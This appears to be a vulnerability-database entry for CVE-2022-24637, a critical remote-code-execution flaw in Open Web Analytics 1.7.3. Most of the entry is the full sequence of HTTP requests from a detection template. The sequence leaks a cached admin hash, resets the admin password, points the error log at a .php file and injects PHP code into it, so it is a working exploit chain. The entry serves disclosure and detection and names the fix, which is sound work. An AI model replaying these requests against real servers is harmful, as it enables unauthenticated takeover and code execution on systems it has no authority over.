| Title | Open Web Analytics 1.7.3 - Remote Code Execution |
|---|---|
| Author | iamnoooob,rootxharsh,pdresearch |
| Severity | Critical |
| Impact | Unauthenticated attackers can exploit improperly handled PHP files to obtain cache hashes containing sensitive user information, then leverage these to reset the admin password and upload malicious files for remote code execution, compromising the entire analytics platform. |
| Remediation | Upgrade to Open Web Analytics version 1.7.4 or later that properly handles PHP file generation and validates authentication for sensitive operations. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93978 |
| CVE ID | CVE-2022-24637 |
| CWE ID | CWE-269 |
| Shodan Query | cpe:"cpe:2.3:a:openwebanalytics:open_web_analytics" |
| Tags | cve cve2022 packetstorm rce intrusive open-web-analytics vuln |
Open Web Analytics (OWA) before 1.7.4 allows an unauthenticated remote attacker to obtain sensitive user information, which can be used to gain admin privileges by leveraging cache hashes. This occurs because files generated with ‘<?php (instead of the intended “<?php sequence) aren’t handled by the PHP interpreter.
POST /index.php?owa_do=base.loginForm&owa_site_id HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 100
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
owa_user_id=admin&owa_password=wrong+password+xyz&owa_go=&owa_action=base.login&owa_submit_btn=Login
GET /owa-data/caches/1/owa_user/c30da9265ba0a4704db9229f864c9eb7.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.2 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.5
Connection: close
Content-Length: 131
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
owa_password=CpIXmEAV&owa_password2=CpIXmEAV&owa_k=9tqwN4&owa_action=base.usersChangePassword&owa_submit_btn=Save+Your+New+Password
POST /index.php?owa_do=base.loginForm&owa_site_id HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Content-Length: 90
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
owa_user_id=admin&owa_password=CpIXmEAV&owa_go=&owa_action=base.login&owa_submit_btn=Login
GET /index.php?owa_do=base.optionsGeneral HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7
Connection: close
Cookie: owa_p=K1OG8t;owa_u=admin;
Accept-Encoding: gzip
POST /index.php?owa_do=base.optionsGeneral HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:105.0) Gecko/20100101 Firefox/105.0
Connection: close
Content-Length: 161
Content-Type: application/x-www-form-urlencoded
Cookie: owa_p=K1OG8t;owa_u=admin;
Accept-Encoding: gzip
owa_action=base.optionsUpdate&owa_nonce=nJthx5&owa_config[base.error_log_file]=owa-data/caches/38F7G3uVQXp3XNlae0ALyRpKrby.php&owa_config[base.error_log_level]=2
POST /index.php?owa_do=base.optionsGeneral HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Connection: close
Content-Length: 132
Content-Type: application/x-www-form-urlencoded
Cookie: owa_p=K1OG8t;owa_u=admin;
Accept-Encoding: gzip
owa_action=base.optionsUpdate&owa_nonce=nJthx5&owa_config[shell]=<?php+echo base64_decode('MzhGN0czdVZRWHAzWE5sYWUwQUx5UnBLcmJ5');?>
GET /owa-data/caches/38F7G3uVQXp3XNlae0ALyRpKrby.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.2 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-24637.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-24637.pcap
N/AN/A